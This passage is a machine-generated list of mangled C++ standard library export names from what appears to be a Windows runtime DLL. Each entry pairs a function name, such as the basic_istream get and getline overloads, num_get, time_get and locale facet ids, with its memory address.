'0x7ffb3bb4f630'}, {'type': 'function', 'name': '?gcount@?$basic_istream@GU?$char_traits@G@std@@@std@@QEBA_JXZ', 'address': '0x7ffb3bb4f630'}, {'type': 'function', 'name': '?gcount@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEBA_JXZ', 'address': '0x7ffb3bb4f630'}, {'type': 'function', 'name': '?get@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@AEAD@Z', 'address': '0x7ffb3bb4f640'}, {'type': 'function', 'name': '?get@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@AEAV?$basic_streambuf@DU?$char_traits@D@std@@@2@@Z', 'address': '0x7ffb3bb4f670'}, {'type': 'function', 'name': '?get@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@AEAV?$basic_streambuf@DU?$char_traits@D@std@@@2@D@Z', 'address': '0x7ffb3bb4f6b0'}, {'type': 'function', 'name': '?get@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z', 'address': '0x7ffb3bb4f830'}, {'type': 'function', 'name': '?get@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_JD@Z', 'address': '0x7ffb3bb4f880'}, {'type': 'function', 'name': '?get@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAHXZ', 'address': '0x7ffb3bb4fa00'}, {'type': 'function', 'name': '?get@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@AEAG@Z', 'address': '0x7ffb3bb4fb40'}, {'type': 'function', 'name': '?get@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@AEAV?$basic_streambuf@GU?$char_traits@G@std@@@2@@Z', 'address': '0x7ffb3bb4fb80'}, {'type': 'function', 'name': '?get@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@AEAV?$basic_streambuf@GU?$char_traits@G@std@@@2@G@Z', 'address': '0x7ffb3bb4fbc0'}, {'type': 'function', 'name': '?get@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@PEAG_J@Z', 'address': '0x7ffb3bb4fd50'}, {'type': 'function', 'name': '?get@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@PEAG_JG@Z', 'address': '0x7ffb3bb4fda0'}, {'type': 'function', 'name': '?get@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb4ff20'}, {'type': 'function', 'name': '?get@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@AEAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@@Z', 'address': '0x7ffb3bb50080'}, {'type': 'function', 'name': '?get@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@AEAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@_W@Z', 'address': '0x7ffb3bb500c0'}, {'type': 'function', 'name': '?get@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@AEA_W@Z', 'address': '0x7ffb3bb50260'}, {'type': 'function', 'name': '?get@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@PEA_W_J@Z', 'address': '0x7ffb3bb502a0'}, {'type': 'function', 'name': '?get@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@PEA_W_J_W@Z', 'address': '0x7ffb3bb502f0'}, {'type': 'function', 'name': '?get@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAGXZ', 'address': '0x7ffb3bb50480'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAG@Z', 'address': '0x7ffb3bb505e0'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAI@Z', 'address': '0x7ffb3bb02720'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAJ@Z', 'address': '0x7ffb3bb02a80'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAK@Z', 'address': '0x7ffb3bb037c0'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAM@Z', 'address': '0x7ffb3bb02550'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAN@Z', 'address': '0x7ffb3bb50650'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAO@Z', 'address': '0x7ffb3bb506c0'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEAPEAX@Z', 'address': '0x7ffb3bb50730'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEA_J@Z', 'address': '0x7ffb3bb12300'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEA_K@Z', 'address': '0x7ffb3bb3cec0'}, {'type': 'function', 'name': '?get@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHAEA_N@Z', 'address': '0x7ffb3bb507a0'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAG@Z', 'address': '0x7ffb3bb505e0'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAI@Z', 'address': '0x7ffb3bb02720'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAJ@Z', 'address': '0x7ffb3bb02a80'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAK@Z', 'address': '0x7ffb3bb037c0'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAM@Z', 'address': '0x7ffb3bb02550'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAN@Z', 'address': '0x7ffb3bb50650'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAO@Z', 'address': '0x7ffb3bb506c0'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEAPEAX@Z', 'address': '0x7ffb3bb50730'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEA_J@Z', 'address': '0x7ffb3bb12300'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEA_K@Z', 'address': '0x7ffb3bb3cec0'}, {'type': 'function', 'name': '?get@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHAEA_N@Z', 'address': '0x7ffb3bb507a0'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAG@Z', 'address': '0x7ffb3bb505e0'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAI@Z', 'address': '0x7ffb3bb02720'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAJ@Z', 'address': '0x7ffb3bb02a80'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAK@Z', 'address': '0x7ffb3bb037c0'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAM@Z', 'address': '0x7ffb3bb02550'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAN@Z', 'address': '0x7ffb3bb50650'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAO@Z', 'address': '0x7ffb3bb506c0'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEAPEAX@Z', 'address': '0x7ffb3bb50730'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEA_J@Z', 'address': '0x7ffb3bb12300'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEA_K@Z', 'address': '0x7ffb3bb3cec0'}, {'type': 'function', 'name': '?get@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHAEA_N@Z', 'address': '0x7ffb3bb507a0'}, {'type': 'function', 'name': '?get@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@DD@Z', 'address': '0x7ffb3bb50810'}, {'type': 'function', 'name': '?get@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@PEBD4@Z', 'address': '0x7ffb3bb508a0'}, {'type': 'function', 'name': '?get@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@DD@Z', 'address': '0x7ffb3bb50810'}, {'type': 'function', 'name': '?get@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@PEBG4@Z', 'address': '0x7ffb3bb12370'}, {'type': 'function', 'name': '?get@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@DD@Z', 'address': '0x7ffb3bb50810'}, {'type': 'function', 'name': '?get@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@PEB_W4@Z', 'address': '0x7ffb3bb50cd0'}, {'type': 'function', 'name': '?get_date@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb50650'}, {'type': 'function', 'name': '?get_date@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb50650'}, {'type': 'function', 'name': '?get_date@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb50650'}, {'type': 'function', 'name': '?get_monthname@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3cec0'}, {'type': 'function', 'name': '?get_monthname@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3cec0'}, {'type': 'function', 'name': '?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb3cec0'}, {'type': 'function', 'name': '?get_new_handler@std@@YAP6AXXZXZ', 'address': '0x7ffb3bb2c360'}, {'type': 'function', 'name': '?get_time@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb506c0'}, {'type': 'function', 'name': '?get_time@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb506c0'}, {'type': 'function', 'name': '?get_time@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb506c0'}, {'type': 'function', 'name': '?get_weekday@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb02550'}, {'type': 'function', 'name': '?get_weekday@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb02550'}, {'type': 'function', 'name': '?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb02550'}, {'type': 'function', 'name': '?get_year@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb12300'}, {'type': 'function', 'name': '?get_year@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@GU?$char_traits@G@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb12300'}, {'type': 'function', 'name': '?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QEBA?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AEAVios_base@2@AEAHPEAUtm@@@Z', 'address': '0x7ffb3bb12300'}, {'type': 'function', 'name': '?getline@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_J@Z', 'address': '0x7ffb3bb51150'}, {'type': 'function', 'name': '?getline@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@PEAD_JD@Z', 'address': '0x7ffb3bb511a0'}, {'type': 'function', 'name': '?getline@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@PEAG_J@Z', 'address': '0x7ffb3bb51340'}, {'type': 'function', 'name': '?getline@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@PEAG_JG@Z', 'address': '0x7ffb3bb51390'}, {'type': 'function', 'name': '?getline@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@PEA_W_J@Z', 'address': '0x7ffb3bb51540'}, {'type': 'function', 'name': '?getline@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@PEA_W_J_W@Z', 'address': '0x7ffb3bb51590'}, {'type': 'function', 'name': '?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEBA?AVlocale@2@XZ', 'address': '0x7ffb3bb10ac0'}, {'type': 'function', 'name': '?getloc@?$basic_streambuf@GU?$char_traits@G@std@@@std@@QEBA?AVlocale@2@XZ', 'address': '0x7ffb3bb10ac0'}, {'type': 'function', 'name': '?getloc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QEBA?AVlocale@2@XZ', 'address': '0x7ffb3bb10ac0'}, {'type': 'function', 'name': '?getloc@ios_base@std@@QEBA?AVlocale@2@XZ', 'address': '0x7ffb3bb14120'}, {'type': 'function', 'name': '?global@locale@std@@SA?AV12@AEBV12@@Z', 'address': '0x7ffb3bb2bb70'}, {'type': 'function', 'name': '?good@ios_base@std@@QEBA_NXZ', 'address': '0x7ffb3bb04da0'}, {'type': 'function', 'name': '?gptr@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEBAPEADXZ', 'address': '0x7ffb3bb10500'}, {'type': 'function', 'name': '?gptr@?$basic_streambuf@GU?$char_traits@G@std@@@std@@IEBAPEAGXZ', 'address': '0x7ffb3bb10500'}, {'type': 'function', 'name': '?gptr@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IEBAPEA_WXZ', 'address': '0x7ffb3bb10500'}, {'type': 'function', 'name': '?id@?$codecvt@DDU_Mbstatet@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94408'}, {'type': 'function', 'name': '?id@?$codecvt@GDU_Mbstatet@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb93228'}, {'type': 'function', 'name': '?id@?$codecvt@_WDU_Mbstatet@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb93250'}, {'type': 'function', 'name': '?id@?$collate@D@std@@2V0locale@2@A', 'address': '0x7ffb3bb944a0'}, {'type': 'function', 'name': '?id@?$collate@G@std@@2V0locale@2@A', 'address': '0x7ffb3bb94458'}, {'type': 'function', 'name': '?id@?$collate@_W@std@@2V0locale@2@A', 'address': '0x7ffb3bb94430'}, {'type': 'function', 'name': '?id@?$ctype@D@std@@2V0locale@2@A', 'address': '0x7ffb3bb93220'}, {'type': 'function', 'name': '?id@?$ctype@G@std@@2V0locale@2@A', 'address': '0x7ffb3bb93230'}, {'type': 'function', 'name': '?id@?$ctype@_W@std@@2V0locale@2@A', 'address': '0x7ffb3bb93218'}, {'type': 'function', 'name': '?id@?$messages@D@std@@2V0locale@2@A', 'address': '0x7ffb3bb944d0'}, {'type': 'function', 'name': '?id@?$messages@G@std@@2V0locale@2@A', 'address': '0x7ffb3bb94448'}, {'type': 'function', 'name': '?id@?$messages@_W@std@@2V0locale@2@A', 'address': '0x7ffb3bb94488'}, {'type': 'function', 'name': '?id@?$money_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944b0'}, {'type': 'function', 'name': '?id@?$money_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94498'}, {'type': 'function', 'name': '?id@?$money_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94438'}, {'type': 'function', 'name': '?id@?$money_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944a8'}, {'type': 'function', 'name': '?id@?$money_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94428'}, {'type': 'function', 'name': '?id@?$money_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94420'}, {'type': 'function', 'name': '?id@?$moneypunct@D$00@std@@2V0locale@2@A', 'address': '0x7ffb3bb944c0'}, {'type': 'function', 'name': '?id@?$moneypunct@D$0A@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944b8'}, {'type': 'function', 'name': '?id@?$moneypunct@G$00@std@@2V0locale@2@A', 'address': '0x7ffb3bb94450'}, {'type': 'function', 'name': '?id@?$moneypunct@G$0A@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94440'}, {'type': 'function', 'name': '?id@?$moneypunct@_W$00@std@@2V0locale@2@A', 'address': '0x7ffb3bb94418'}, {'type': 'function', 'name': '?id@?$moneypunct@_W$0A@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94468'}, {'type': 'function', 'name': '?id@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb943f0'}, {'type': 'function', 'name': '?id@?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944e8'}, {'type': 'function', 'name': '?id@?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944e0'}, {'type': 'function', 'name': '?id@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb943f8'}, {'type': 'function', 'name': '?id@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94480'}, {'type': 'function', 'name': '?id@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944f8'}, {'type': 'function', 'name': '?id@?$numpunct@D@std@@2V0locale@2@A', 'address': '0x7ffb3bb94400'}, {'type': 'function', 'name': '?id@?$numpunct@G@std@@2V0locale@2@A', 'address': '0x7ffb3bb94478'}, {'type': 'function', 'name': '?id@?$numpunct@_W@std@@2V0locale@2@A', 'address': '0x7ffb3bb944f0'}, {'type': 'function', 'name': '?id@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944d8'}, {'type': 'function', 'name': '?id@?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94460'}, {'type': 'function', 'name': '?id@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94490'}, {'type': 'function', 'name': '?id@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb944c8'}, {'type': 'function', 'name': '?id@?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94410'}, {'type': 'function', 'name': '?id@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@2V0locale@2@A', 'address': '0x7ffb3bb94470'}, {'type': 'function', 'name': '?ignore@?$basic_istream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@_JH@Z', 'address': '0x7ffb3bb51740'}, {'type': 'function', 'name': '?ignore@?$basic_istream@GU?$char_traits@G@std@@@std@@QEAAAEAV12@_JG@Z', 'address': '0x7ffb3bb51880'}, {'type': 'function', 'name': '?ignore@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QEAAAEAV12@_JG@Z', 'address': '0x7ffb3bb519d0'}, {'type': 'function', 'name': '?imbue@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAA?AVlocale@2@AEBV32@@Z', 'address': '0x7ffb3bb02200'}, {'type': 'function', 'name': '?imbue@?$basic_ios@GU?$char_traits@G@std@@@std@@QEAA?AVlocale@2@AEBV32@@Z', 'address': '0x7ffb3bb51b20'}, {'type': 'function', 'name': '?imbue@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QEAA?AVlocale@2@AEBV32@@Z', 'address': '0x7ffb3bb51b20'}, {'type': 'function', 'name': '?imbue@?$basic_streambuf@DU?$char_traits@D@std@@@std@@MEAAXAEBVlocale@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?imbue@?$basic_streambuf@GU?$char_traits@G@std@@@std@@MEAAXAEBVlocale@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?imbue@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@MEAAXAEBVlocale@2@@Z', 'address': '0x7ffb3bb081f0'}, {'type': 'function', 'name': '?imbue@ios_base@std@@QEAA?AVlocale@2@AEBV32@@Z', 'address': '0x7ffb3bb02270'}, {'type': 'function', 'name': '?in@?$codecvt@DDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAD3AEAPEAD@Z', 'address': '0x7ffb3bb0f5e0'}, {'type': 'function', 'name': '?in@?$codecvt@GDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEAG3AEAPEAG@Z', 'address': '0x7ffb3bb0f5e0'}, {'type': 'function', 'name': '?in@?$codecvt@_SDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_S3AEAPEA_S@Z', 'address': '0x7ffb3bb0f5e0'}, {'type': 'function', 'name': '?in@?$codecvt@_UDU_Mbstatet@@@std@@QEBAHAEAU_Mbstatet@@PEBD1AEAPEBDPEA_U3AEAPEA_U@Z', 'address': '0x7ffb3bb0f5e0'}, {'type': 'function', 'name': 